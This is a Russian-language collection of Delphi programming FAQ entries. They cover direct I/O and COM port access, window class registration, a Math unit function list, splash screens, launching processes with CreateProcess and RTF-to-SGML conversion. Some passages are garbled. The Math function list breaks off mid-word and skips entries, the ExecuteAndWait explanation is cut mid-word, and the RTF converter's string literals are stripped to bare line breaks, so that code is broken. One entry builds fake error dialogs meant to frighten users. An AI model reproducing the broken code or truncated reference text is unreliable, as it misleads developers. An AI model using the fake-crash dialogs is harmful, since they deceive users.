порт 546, и всем оставаться на своих местах до моего особого распоряжения." В этом случае подошел бы мьютекс. К сожалению, для
использования созданного мьютекса все приложения должны знать его имя. Но даже если бы это было возможно, вы легко можете
наткнуться на другие заковыристые проблемы. Рассмотрим два приложения - App1 и App2. Оба пытаются выполнить
вышеприведенный код. К несчастью, они созданы разными программистами с разным взглядом на технологию доступа, поэтому
App1 сначала требует AddressPortMutex, в то время как App2 требует DataPortMutex. И, по печальному совпадению, когда App1
получает AddressPortMutex, система переключается на App2, которое захватывает DataPortMutex и получается праздник
смертельного объятия. App2 не может получить адрес порта, т.к. его захватило App1. App1 не может получить данные порта, т.к.
это захватило App2. И все чего-то ждут...
Правильное решение - создание драйвера устройства, которой единолично владеет портами/памятью. Доступ к аппаратным
средствам осуществляется посредством API. Вот типичный вызов:

  GetIOPortData(AddressPort, DataPort : word) : Byte;
GetIOPortData сначала создает мьютекс, который защищает от вторжения (возможно все) порты, затем дает доступ к портам и,
наконец, уничтожает его перед возвратом в вызвавшему функцию оператору. В случае, когда функцию пытаются вызвать несколько
потоков, управление получает только один, остальные в это время ждут.
Создание драйвера устройства дело нелегкое. Он должен быть создать с помощью ассемблера или C и невероятно труден в отладке.
Более того, из-за соображений безопасности драйверы устройств для Windows 95 (VxD) не совместимы с драйверами для Windows
NT (VDD, virtual device driver - виртуальный драйвер устройства). Говорят, что в будущих версиях они будут совместимы, и
Windows NT 6.0 и Windows 2000 будут использовать одни и те же драйвера, но пока разработчики вынуждены заниматься созданием
двух различных версий.
Для получения более подробной информации рекомендую обратиться к следующим ресурсам:
Microsoft Windows 95 Device Driver Kit
Microsoft Windows NT Device Driver Kit
Microsoft Press "Systems Programming for Windows 95" автора Walter Oney
Вышеуказанная проблема не слишком реальна. Приложение, которое имеет непосредственный доступ к аппаратным средствам,
обычно использует некоторые специализированные аппаратные средства. Конфигурация типа той, которая стремиться запустить
только одно приложение имеет единственную цель - получить монопольный доступ к этим аппаратным средствам. В этом случае
создание драйверов устройств очень нерентабельно. В конце концов, причина хотя бы в том, что это работает под Windows, что
можно получить свободно (почти) классный GUI, а не в том, чтобы 10 приложений работало одновременно.
К счастью, в Windows 95 заложена совместимость с Windows 3.x. Это означает, что директивное использование I/O портов также
возможно, поскольку до сих пор находятся в эксплуатации множество 16-битных программ, которые просто не могут работать по
другому. Просто в этом случае при кодировании вам придется спуститься до уровня ассемблера. Автор следующего кода Arthur
Hoornweg (hoornweg@hannover.sgh-net.de):

  //Базовые адреса двух COM портов, для справки:
COM1 - 3F8h
COM2 - 2F8h
Function getport(p:word):byte; stdcall;
begin
 asm
 push edx
 push eax
 mov  dx,p
 in   al,dx
 mov  @result,al
 pop  eax
 pop  edx
 end;
end;

Procedure Setport(p:word;b:byte);stdcall;
begin
 asm
 push edx
 push eax
 mov dx,p
 mov al,b
 out dx,al
 pop  eax
 pop  edx
 end;  end;

Francois Piette также предлагает свое решение прямого доступа к портам I/O на страничке
Как насчет NT?
Но все вышесказанное под Windows NT работать не будет. NT более "прочная" операционная система, поэтому если она позволит в
любое время кому попало обращаться к любым аппаратным средствам, она не была бы такой устойчивой. Кроме того, NT является
кроссплатформенной системой, поэтому доступ к I/O портам может кардинально различаться при работе на различных процессорах.
Но тем не менее даже под NT можно добраться непосредственно до I/O портов, правда только на x86 процессорах. Это не является
документированной особенностью, и, вероятно, исчезнет в будущих версиях этой операционной системы.
Я не обладаю достаточно полной информацией по этому вопросу, но интересующая нас статья D. Roberts в майском номере журнала
Dr. Dobb's Journal за 1996 год так и называется "Direct Port I/O and Windows NT." К сожалению, я так и не нашел времени проверить
приведенный там код.
Также рекомендую ознакомиться с опубликованной в Windows Developer Journal статьей "Port I/O under Windows." Опубликована
Karen Hazzah в июне 1996 года.

Визуальный компонент Comm32.
Вы спросите "Все это хорошо. Но есть ли визуальный компонент сторонних фирм, работающих с Com портом?". Да есть. И он
называется Comm32. На мой взгляд, он один из лучших на сегодняшний день. Чтобы вам было легче с ним разобраться я приведу
пример, реализации данного компонента.
Программа называется Psion. Она задумывалась для тестирования теплосчетчиков Clorius.

В первый Edit мы вводим сетевой адрес теплосчетчика. По умолчанию он равен 0. С помощью второго мы посылаем команды
теплосчетчику. Третий Edit служит для вывода информации, которую теплосчетчик посылает нам.
Вот исходный текст программы написанной на Delphi5:

type
  TXXXX=array[1..255] of Char;  //Определяем символьный массив
  PXXXX=^TXXXX;

//Функция отвечающая за подсчет контрольной суммы
function TForm1.CheckSum(AStr: String): Char;
  var crc,i: Integer;  //Вводим свои целочисленные переменные
begin
 crc:=0;
 for i := 1 to Length(AStr) do
 crc:=crc+Ord(AStr[i]);
 crc:=(crc and $3F) + $30;
 Result:=Chr(crc);
 end;

//Функция сравнивания контрольной суммы с полученными данными
function TForm1.CompareCheckSum(AStr: String; CS: Char): boolean;
begin
 Result:=CheckSum(AStr)=CS;
end;

//Возвращает тело пакета без сетевого адреса и контрольной суммы
function TForm1.GetInput: String; var l:integer;
begin
 Result:='';
 l:=Length(FInput);
 if InputState = 1 then
  begin
   if StartTime+3000 < GetTickCount then
      InputState := 2;
  Exit;
  end;
 if l<3 then Exit;
 if CompareCheckSum(Copy(FInput,1,l-2),Copy(FInput,l-1,1)[1])=true then
  begin
   InputState := 0;
   NetNumber:=FInput[1];
   AddrEdt.Text:=NetNumber;
   Result:=copy(FInput,2,l-3);
  end
  else InputState := 3;
end;

//Данная процедура возникает, когда мы пытаемся послать команду устройству
procedure TForm1.SetOutput(const Value: String);
 var XXXX:TXXXX;
 S:String;
 L,i:Integer;
begin
 S:=NetNumber+Value;
 S:=S+CheckSum(S)+#13;
 L:=Length(S);
 if L>255 then Exit;
 for i:=1 to L do
  XXXX[i] := S[i];
 InputState := 1;
 FInput:='';
 CommPortDriver1.SendData(@XXXX,L);
 StartTime:=GetTickCount;
end;

 //Процедура возникает при запуске программы
procedure TForm1.FormCreate(Sender: TObject);
begin
 NetNumber:='0';
 CommPortDriver1.Connect;
end;

//Процедура возникает при выходе из программы procedure TForm1.FormDestroy(Sender: TObject);
begin
 CommPortDriver1.Disconnect;
end;

//Процедура возникает при ответе устройства
procedure TForm1.CommPortDriver1ReceiveData(Sender: TObject;  DataPtr: Pointer; DataSize: Integer);
var PX:PXXXX;
i:integer;
begin
 InputState := 4;
 Application.ProcessMessages;
 FInput:='';
 PX:=DataPtr;
 for i := 1 to DataSize do
   FInput:=FInput+PX^[i];
 InputState := 5;
 Application.ProcessMessages;
 Edit2.Text:=Input;
end;

//Процедура возникает при подборе визуального состояния программы
procedure TForm1.SetInputState(const Value: integer);
begin  FInputState := Value;
 case Value of
   0: Caption:='Данные успешно приняты';
   1: Caption:='Ждем ответа';
   2: Caption:='Таймаут';
   3: Caption:='Пакет принят с ошибкой';
   4: Caption:='Принимаем ответ';
   5: Caption:='Ответ получен';
  end;
end;

//Процедура возникает при нажатии клавиши "Отправить"
procedure TForm1.SendBtnClick(Sender: TObject);
begin
 Output:=OutputEdt.Text;
 SendBtn.Enabled:=False;
 repeat
   Edit2.Text:=Input;
 until InputState<>1;
 SendBtn.Enabled:=True;
end;

//Процедура возникает при изменении сетевого адреса устройства
procedure TForm1.AddrEdtChange(Sender: TObject);
begin
 NetNumber:=AddrEdt.Text[1];
end;
К заголовку




Регистрация класса окна функцией RegisterClass()
Решил
пописать на WinApi из под Делфи, но
почему то никак не хочет регистриться мой класс окна функцией
RegisterClass(). Может кто знает в чём
тут трабл. Тот же самый код без проблем работает в BP for Windows 7.0.
На всякий случай вот *.dpr
файл. Кстати вдруг если это важно - Дельфя третья.

program Window;
uses Windows, Messages;

var w: TWndClassA;
h: HWND;
m: TMsg;

function WndProc(Wnd, Msg, WParam: Word; LParam: LongInt): Longint;
begin
WndProc := 0;
case Msg of
WM_DESTROY: PostQuitMessage(0);
else DefWindowProc(Wnd, Msg, WParam, LParam);
end;
end;

begin
w.style := 0;
w.lpfnWndProc := @WndProc;
w.cbClsExtra := 0;
w.cbWndExtra := 0;
w.hInstance := hInstance;
w.hIcon := 0;
w.hCursor := 0;
w.hbrBackground := COLOR_WINDOW;
w.lpszMenuName := NIL;
w.lpszClassName := PChar('MyWindow');

RegisterClassA(w);
h := CreateWindowExA(0, w.lpszClassName, 'Hello World !!! :-)',
WS_VISIBLE or WS_MINIMIZEBOX OR WS_SYSMENU OR WS_BORDER,
0, 0, 300, 600, 0, 0, hInstance, NIL);

GetMessage(m,0,0,0);
repeat
if m.message = WM_QUIT then Exit;
TranslateMessage(m);
DispatchMessage(m);
until not GetMessage(m,0,0,0);
end.

Ответ 1:
Сlass создавать надо примерно так:

var
wclass:TWndClass;

with wclass do
begin
style:=CS_CLASSDC or CS_PARENTDC;
lpfnwndproc:=@windowproc; {твоя поцедура окна }
hinstance:=instance;
hbrbackground:=Window_Background;
lpszclassname:=pchar('Имя класса окна');
hcursor:=loadcursor(0,IDC_ARROW);
end;

Ответ 2:
Первое, что заметил: параметр WParam типа Word будет работать
только в 16-битной среде (которую делает BP for Windows).
В Delphi все 32-битное, и этот параметр тоже.
Объявите его как LongInt.

Ответ 3:
Такая ошибка возникала у меня, когда я пыталась зарегистрировать уже
зарегистрированный класс (в приложении для Windows на C++). Для снятия
регистрации класса использовала функцию UnregisterClass.
К заголовку




Сводка функций модуля Math
http://delphi.mastak.ru/cgi-bin/faq.pl?look=1&id=19-988619976
Здесь я привожу полный список всех функций и процедур модуля Math. При переходе от Delphi 2 к Delphi 3 модуль Math почти не
изменился, фирма Borland ввела в него только три новые функции: MaxIntVal ue, MInIntValue и Sumint. Эти функции отличаются от
своих прототипов (MaxValue, MI nVal ue и Sum) лишь тем, что работают исключительно с целыми числами, не принимая и не
возвращая величин с плавающей точкой. Что касается остальных функций, то большинство из них вполне очевидно. Если вам
покажется иначе - что ж, ндуется для X, близких к нулю
LogN - Вычисление логарифма Х по основанию N
LogIO - Вычисление десятичного логарифмах
Log2 - Вычисление двоичного логарифмах
Power - Возведение числа в степень. Работает медленнее IntPower, но для операций с плавающей точкой вполне приемлемо

Финансовые функции и процедуры
DoubleDecliningBalance - Вычисление амортизации методом двойного баланса
FutureValue - Будущее значение вложения
InterestPayment - Вычисление процентов по ссуде
Interest Is - Статистические моменты порядков с первого по четвертый, а также асимметрия (skew) и эксцесс (kurtosis) для набора
чисел
Norm - Норма для набора данных (квадратный корень из суммы квадратов)
PopnStdDev - Выборочное стандартное отклонение. Отличается от обычного стандартного отклонения тем, что при вычислениях
используется выборочное значение дисперсии, PopnVarl апсе (см. ниже)
PopnVarlance - Выборочная дисперсия. Использует "смещенную" формулу TotalVanance/n
RandG - Генерация норм
К заголовку




Сколько создано форм и сколько их видно?
protected
    procedure AppIdle(Sender: TObject; var Done: Boolean);

procedure TMainForm.AppIdle(Sender: TObject; var Done: Boolean);
var
  i,
  VisibleCount: Integer;
begin
  VisibleCount := 0;
  for i:=0 to Screen.FormCount-1 do
    if IsWindowVisible(Screen.Forms[i].Handle) then
      Inc(VisibleCount);

  StatusBar.SimpleText :=
    Format(
      'At this time there are created %d forms, of which %d are visible on screen',
      [Screen.FormCount, VisibleCount]);

  Done := True;
end;

procedure TMainForm.FormShow(Sender: TObject);
begin
  Application.OnIdle:= AppIdle;
end;
К заголовку




Создание заставки (splash screen)
Перед появлением главного окна во всех серьёзных
приложениях сначала появляется заставка.
Теперь и у Вас есть возможность повыёживаться!

Для создания заставки выполняем следующую последовательность
действий:
Начинаем создание нового приложение командой
New Application (Новое приложение) из меню  File (Файл)

Добавьте ещё одну форму:
New Form (Новая форма) из меню  File (Файл).
Это окно и будет заставкой. У него нужно
убрать рамку с полосой заголовка, установив
свойство  BorderStyle в bsNone.

Теперь можно смело разработать дизайн окна заставки.

Из меню  Project (Проект) выбрать команду  Options (Опции).
Зайти на закладку  Forms( Формы) и Form2 из списка
автоматически создаваемых форм (Auto-Create forms)
перенести в список доступных форм (Available forms)

На форму-заставку с закладки System вынести
компонент Timer.
В его свойстве Interval установить значение 5000, а в
событии OnTimer написать:
Timer1.Enabled:=false;
(это сделано для того, чтобы заставка была видна в период
указанного времени   5000 миллисекунд, т.е. 5 секунд)

Перейти в файл проекта, нажав Ctrl+F12 и выбрав Project1.
Исходный код должен выглядеть так:

program Project1;
uses
 Forms,
 Unit1 in 'Unit1.pas' {Form1},
 Unit2 in 'Unit2.pas' {Form2};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

Теперь мы внесём сюда немного изменений и
код должен стать таким:
program Project1;
uses
 Forms,
 Unit1 in 'Unit1.pas' {Form1},
 Unit2 in 'Unit2.pas' {Form2};
{$R *.RES}
begin
 Application.Initialize;
 Form2:=TForm2.Create(Application);
 Form2.Show;
 Form2.Update;
 while Form2.Timer1.Enabled do Application.ProcessMessages;
 Application.CreateForm(TForm1, Form1);
 Form2.Hide;
 Form2.Free;
 Application.Run;
end.

Как это сделано?
Сначала мы создаём экземпляр формы-заставки, т.к. она
автоматически не создаётся
Form2:=TForm2.Create(Application);
Потом мы показываем созданное окно
Form2.Show;
Для большей верности, что окно будет выведено,
мы его обновляем
Form2.Update;
Так как период задержки формы на экране очень
мал, мы не скрываем окно, пока активен
таймер, который был вынесен на форму-заставку
while Form2.Timer1.Enabled do Application.ProcessMessages;
Перед запуском приложения
Application.Run
скрываем заставку и уничтожаем её
Form2.Hide;
Form2.Free;

-----------------------------2-----------------------------
procedure TForm1.FormCreate(Sender: TObject);
begin
 sleep(1000);
end;

program SySysy;

uses
  Forms,
  Main in 'Main.pas' {Form1},
  Unit2 in 'Unit2.pas' {Splash};

{$R *.res}

begin
try
Splash := TSplash.Create(Application);
Splash.Show;
Splash.Update;
Application.Initialize;

Application.CreateForm(Tform1, form1);

Splash.Hide;
finally
Splash.Free;

Application.Run;
end;
end.
К заголовку




Сокращение записи вида: a.Strings[2] или b.Items.
При обращении к элементам различных списков приходится писать что-то вроде: a.Strings[2] или b.Items. Эту запись можно
сократить, убрав слово Strings или Items. Пример:

procedure TForm1.Button1Click(Sender: TObject);
var
  sl: TStringList;
begin
  sl := TStringList.Create;
  sl.Add('abc');
  sl.Add('def');
  sl.Add('ghi');
  Form1.Caption := sl[0] + sl[1] + sl[2]; { Вместо sl.Strings[0] +
                                            sl.Strings[1] + sl.Strings[2] }
end;

Это работает в таких классах, как ActionList, Bits, ComponentList, ClassList, HeaderSections, List, ListItems, MenuItem, ObjectList,
StatusPanels, StringList, Strings, TreeNode и некоторых других.
К заголовку




Сторожевой пес типа "Мухтар"
Сторожевой пес типа "Мухтар"
 К заголовку

У меня мания делать охранные программы для системы, вот например при помощи функции SendMessage (Windows API), можно
смастерить одну из таких, для этого ей необходимо несколько параметров. Первым идет дескриптор окна; в нашем случае
правильным будет HWND_BROADCAST. Затем идет передаваемое сообщение, WM_WININICHANGE. Последние два параметра -
wParam и lParam (word-параметр и long-параметр) сообщения. В нашем случае (для данного конкретного сообщения) wParam должен
быть 0, а lParam должен содержать адрес строки с именем измененной секции. Если lParam = NIL (ноль), то система должна
проверить на наличие изменений ВСЕ секции, что на деле оказывается ужасно медленным; не посылайте 0, если вы не сделали
изменений в нескольких секциях.
Вот пример оповещения об изменениях в секции Desktop:


VAR S : ARRAY[0..40] OF Char;
...
StrCopy(S, 'Desktop');
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
К заголовку




Функция GetWindowLong, определить стиль окна
Функция GetWindowLong, я с её помощью хочу
определить
стиль окна: мне нужно отобрать окна класса Button и из них кнопки стиля
BS_RADIOBUTTON. Но я не знаю как проверить, после использования функции,
принадлежит или нет кнопка данному стилю. Так как же можно определить
стиль
окна, может я не ту функцию использую... Но ведь нет же функции
GETBUTTONSTYLE!!! Если непонятен вопрос - пожалуйста

Ответ 1:
Функция используется эта, но ввиде параметра nIndex , должен быть
GWL_STYLE, тогда на выходе вы получите некоторое число (32-бита)
назовем его X.
Чтобы узнать имеет ли окно данный стиль надо:
if (x and YOUR_STYLE)=YOUR_STYLE then //делаем что-то

З.ы. YOUR_STYLE - стиль окна, кнопки и т.д.
К заголовку




Чтобы инициализировать переменную на стадии ее создания
Чтобы инициализировать переменную на стадии ее создания, нужно объявить ее, как типизированную константу. Таким способом
можно инициализировать переменные простых типов, а также записи, массивы, множества. Пример:

procedure TForm1.FormCreate(Sender: TObject);
const
  a: integer = 0;
  p: TPoint = (x: 10; y: 20);
  BoolStr: array [boolean] of string = ('false', 'true');
  figures: set of char = ['0'..'9'];
begin
  p := Form1.ClientToScreen(p);
  SetCursorPos(p.x, p.y);
  Form1.Caption := BoolStr[GetKeyState(VK_NUMLOCK) and 1 > 0];
end;
К заголовку




Чтобы определить номер текущей строки любого объекта управления edit
Чтобы определить номер текущей строки любого объекта управления edit - пошлите ей сообщение
EM_LINEFROMCHAR
Пример:

procedure TForm1.Button1Click(Sender: TObject);
var
        LineNumber : integer;
begin
        LineNumber := SendMessage(Memo1.Handle, EM_LINEFROMCHAR, word(-1), 0);
        ShowMessage(IntToStr(LineNumber));
end;
К заголовку




Шутки над пользователем
Некоторых пользователей врят ли можно будет испугать экранным вирусом, однако можно воспользоваться другими способами
запугивания, например: прозрачные окошки, недоступные пункты меню с большим количеством подуровней, а так же сообщения об
ошибках, которые нельзя убрать.

В приведённом ниже примере при помощи обычного диалогового окна пользователю показывается сообщение об ошибке, причём
кнопка "close" накак не хочет нажиматься. У этого диалога есть зависимое окно, которое показывается, при нажатии кнопки "details".

Поддельная форма с сообщением об ошибке имеет кнопку "details", которая открывает вторую часть формы. Это достигается путём
добавления компонента за пределы самой формы:

object Form2: TForm2
  AutoScroll = False
  Caption = 'Error'
  ClientHeight = 93
  ClientWidth = 320
  OnShow = FormShow
  object Label1: TLabel
    Left = 56
    Top = 16
    Width = 172
    Height = 65
    AutoSize = False
    Caption =
      'Программа выполнила недопустимую ' +
          'операцию. Если проблема повторится, ' +
      'то обратитесь к разработчику программного обеспечения.'
    WordWrap = True
  end
  object Image1: TImage
    Left = 8
    Top = 16
    Width = 41
    Height = 41
    Picture.Data = {...}
  end
  object Button1: TButton
    Left = 240
    Top = 16
    Width = 75
    Height = 25
    Caption = 'Close'
    TabOrder = 0
    OnClick = Button1Click
  end
  object Button2: TButton
    Left = 240
    Top = 56
    Width = 75
    Height = 25
    Caption = 'Details >>'
    TabOrder = 1
    OnClick = Button2Click
  end
  object Memo1: TMemo // за пределами формы!
    Left = 24
    Top = 104
    Width = 265
    Height = 89
    Color = clBtnFace
    Lines.Strings = (
      'AX:BX    73A5:495B'
      'SX:PK    676F:FFFF'
      'OH:OH   7645:2347'
      'Crash    3485:9874'
      ''
      'What'#39's going on here?')
    TabOrder = 2
  end
end

Когда пользователь нажимает кнопку "details", то программа просто изменяет размер формы:

procedure TForm2.Button2Click(Sender: TObject);
begin
  Height := 231;
end;

Вторая форма, которая наследуется от первой имеет перемещающуюся кнопку "close":

procedure TForm3.Button1Click(Sender: TObject);
begin
  Button1.Left := Random (ClientWidth - Button1.Width);
  Button1.Top := Random (ClientHeight - Button1.Height);
end;

В заключении, можно сделать дырку в окне, используя API функцию SetWindowRgn:

procedure TForm1.Button4Click(Sender: TObject);
var
  HRegion1, Hreg2, Hreg3: THandle;
  Col: TColor;
begin
  ShowMessage ('Ready for a real crash?');
  Col := Color;
  Color := clRed;
  PlaySound ('boom.wav', 0, snd_sync);
  HRegion1 := CreatePolygonRgn (Pts,
    sizeof (Pts) div 8,
    alternate);
  SetWindowRgn (
    Handle, HRegion1, True);
  ShowMessage ('Now, what have you done?');
  Color := Col;
  ShowMessage ('Вам лучше купить новый монитор');
end;
К заголовку




Как запустить какую-нибудь программу?
=== 1 ===
A: WinExec() или ShellExecute. У второй больше возможностей.

=== 2 ===
(AY, VB): CreateProcess().

=== 3a ===
(SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь
WaitForSingleObject(pi.hProcess, INFINITE);

=== 3b ===
(AA): Win16: Delay можно взять из rxLib.

=== Cut ===
handle := WinExec(...);
if handle >= 32 then
  while GetModuleUsage(handle) > 0 do
    Delay( nn );
else
raise ....
=== Cut ===

=== 4 ===
(AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime.

(Win32)
Для принудительного завершения процесса -- TerminateProcess.

(Win16) (RR): Handle:=Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0);

=== 5 ===
как запустить из Вашей программы еще какую-нибудь программу и дождаться ее закрытия. Для удобства сразу оговорюсь: Ваша
программа - это программа, код которой здесь приведен. Другая программа - программа, которая была запущена из Вашей. Для
запуска другой программы мы будем использовать функцию CreateProcess, поскольку она возвращает handle созданного процесса.
Для ожидания завершения процесса (программы) нужно вызвать Wai В этом примере функция ExecuteAndWait запускает другую
программу (имя запускаемого файла - FileName). Если HideApplication установлен в true, то Ваша программа исчезает на время
выполнения другой программы. В противном случае Ваша программа остается на экране и каждые 0.1 сек. будут выполняться все
задачи, которые накопились в очереди (Application.ProcessMessages). А если пользователь решит закрыть Вашу программу - закроется
и другая программа. Процедура SetEnabled
function ExecuteAndWait(FileName: string; HideApplication: boolean): boolean;
var
  StartupInfo: TStartupInfo;
  ProcessInfo: TProcessInformation;
  exitc: cardinal;
begin
  FillChar(StartupInfo, sizeof(StartupInfo), 0);
  with StartupInfo do begin
    cb := Sizeof(StartupInfo);
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow := SW_SHOW;
  end;
  if not CreateProcess(nil, PChar(FileName), nil, nil, false,
    CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil,
    StartupInfo, ProcessInfo) then result := false
  else begin
    if HideApplication then begin
      Application.Minimize;
      ShowWindow(Application.Handle, SW_HIDE);
      WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
    end else
      while WaitforSingleObject(ProcessInfo.hProcess, 100) =
        WAIT_TIMEOUT do begin
        Application.ProcessMessages;
        if Application.Terminated
          then TerminateProcess(ProcessInfo.hProcess, 0);
      end;
    GetExitCodeProcess(ProcessInfo.hProcess, exitc);
    result := (exitc = 0);
    if HideApplication then begin
      ShowWindow(Application.Handle, SW_SHOW);
      Application.Restore;
      Application.BringToFront;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
  procedure SetEnabled(en: boolean);
  var
    i: integer;
  begin
    for i := 0 to Form1.ComponentCount - 1 do
      if Form1.Components[i] is TControl then
        (Form1.Components[i] as TControl).Enabled := en;
  end;
begin
  SetEnabled(false);
  if not ExecuteAndWait(Edit1.Text, CheckBox1.Checked)
    then ShowMessage('Возникли какие-то проблемы');
  SetEnabled(true);
end;
К заголовку




Как запустить приложение и дождаться его завершения?
=== 1 ===
Объявляем сначала две глобальные переменные: var
si:Tstartupinfo;
p:Tprocessinformation;

Затем по нужному событию, например, по нажатию на кнопке пишет такой код:

FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;

Form1.WindowState:=wsminimized;
Createprocess(nil,'c:\windows\sndrec32.exe e:\temp.wav',nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
Form1.WindowState:=wsNormal;

Автор ___Nikolay
по всем вопросам обращайтесь на bestprogramming@mail.ru

=== 2 ===

По нажатию на кнопку это будет выглядеть так:

procedure TForm1.Button3Click(Sender: TObject);
var si:STARTUPINFO;
pi:PROCESS_INFORMATION;
cmdline:string;
begin
ZeroMemory(@si,sizeof(si));
si.cb:=SizeOf(si);
cmdline:='c:\command.com';
if not CreateProcess( nil, // No module name (use command line).
PChar(cmdline), // Command line.
nil, // Process handle not inheritable.
nil, // Thread handle not inheritable.
False, // Set handle inheritance to FALSE.
0, // No creation flags.
nil, // Use parent's environment block.
nil, // Use parent's starting directory.
si, // Pointer to STARTUPINFO structure.
pi ) // Pointer to PROCESS_INFORMATION structure.
then
begin
ShowMessage( 'CreateProcess failed.' );
Exit;
end;
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
ShowMessage('Done !');
end;
К заголовку




RTF в SGML

Здесь процедура, которую я использую для конвертации содержимого RichEdit
в код SGML. Она не создает полноценный HTML-файл, но Вы можете расширить
функциональность, указал, какие RTF-коды Вы желаете конвертировать в
какие-либо HTML-тэги.

function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
temptext : string;
start : integer;
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'\'+chr(39)+'e5','a');
text := stringreplaceall (text,'\'+chr(39)+'c5','A');
text := stringreplaceall (text,'\'+chr(39)+'e4','a');
text := stringreplaceall (text,'\'+chr(39)+'c4','A');
text := stringreplaceall (text,'\'+chr(39)+'f6','o');
text := stringreplaceall (text,'\'+chr(39)+'d6','O');
text := stringreplaceall (text,'\'+chr(39)+'e9','e');
text := stringreplaceall (text,'\'+chr(39)+'c9','E');
text := stringreplaceall (text,'\'+chr(39)+'e1','a');
text := stringreplaceall (text,'\'+chr(39)+'c1','A');
text := stringreplaceall (text,'\'+chr(39)+'e0','a');
text := stringreplaceall (text,'\'+chr(39)+'c0','A');
text := stringreplaceall (text,'\'+chr(39)+'f2','o');
text := stringreplaceall (text,'\'+chr(39)+'d2','O');
text := stringreplaceall (text,'\'+chr(39)+'fc','u');
text := stringreplaceall (text,'\'+chr(39)+'dc','U');
text := stringreplaceall (text,'\'+chr(39)+'a3','?');
text := stringreplaceall (text,'\}','#]#');
text := stringreplaceall (text,'\{','#[#');
text := stringreplaceall (text,'{\rtf1\ansi\deff0\deftab720','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
text := stringreplaceall (text,'{\f0\fnil MS Sans Serif;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f1\fnil\fcharset2 Symbol;}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
text := stringreplaceall (text,'\cf0','');
temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
while pos ('\fs',text) >0 do
begin
application.processmessages;
start := pos ('\fs',text);
Delete(text,start,5);
end;
text := stringreplaceall (text,'\pard\plain\f0 ','
');
text := stringreplaceall (text,'\par \plain\f0\b\ul ','
');
text := stringreplaceall (text,'\plain\f0\b\ul ','
');
text := stringreplaceall (text,'\plain\f0','');
text := stringreplaceall (text,'\par }','
');
text := stringreplaceall (text,'\par ','
');
text := stringreplaceall (text,'#]#','}');
text := stringreplaceall (text,'#[#','{');
text := stringreplaceall (text,'\\','\');
result := text;
end;

//This is cut directly from the middle of a fairly long save routine that calls the above function.
//I know I could use streams instead of going through a separate file but I have not had the time
to change this

utfilnamn :=
mditted.exepath+stringreplace(stringreplace(extractfilename(pathname),'.TTT',''),'.ttt','') +
'ut.RTF';
brodtext.lines.savetofile (utfilnamn);
temptext := '';
assignfile(tempF,utfilnamn);
reset (tempF);
try
while not eof(tempF) do
begin
readln (tempF,temptext2);
temptext2 := stringreplaceall (temptext2,'\'+chr(39)+'b6','');
temptext2 := rtf2sgml (temptext2);
if temptext2 <>'' then temptext := temptext+temptext2;
application.processmessages;
end;
finally
closefile (tempF);
end;
deletefile (utfilnamn);
temptext := stringreplaceall (temptext,' ','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
'+chr(0),'
');
temptext := stringreplaceall (temptext,'
','');
temptext := stringreplaceall (temptext,'
','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'','<#MELLIS>
');
temptext := stringreplaceall (temptext,'<#MELLIS>','');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
','
');
temptext := stringreplaceall (temptext,'
-','
_');
temptext := stringreplaceall (temptext,'
_','_');
while pos('_',temptext)>0 do
begin
application.processmessages;
temptext2 := hamtastreng (temptext,'_','
');
temptext := stringreplace (temptext,temptext2+'
',temptext2+'');
temptext := stringreplace (temptext,'_','-');
end;
writeln (F,''+temptext+'');
К заголовку




Пример программирования com портов
interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Panel1: TPanel;
Label1: TLabel;
PortCombo: TComboBox;
Label2: TLabel;
BaudCombo: TComboBox;
Label3: TLabel;
ByteSizeCombo: TComboBox;
Label4: TLabel;
ParityCombo: TComboBox;
Label5: TLabel;
StopBitsCombo: TComboBox;
Label6: TLabel;
Memo1: TMemo;
Edit1: TEdit;
Button1: TButton;
Memo2: TMemo;
Edit2: TEdit;
Label7: TLabel;
Button2: TButton;
Label8: TLabel;
Edit3: TEdit;
procedure Button1Click(Sender: TObject);
procedure Memo2Change(Sender: TObject);
procedure Memo1Change(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure PortComboChange(Sender: TObject);
procedure FormShow(Sender: TObject);
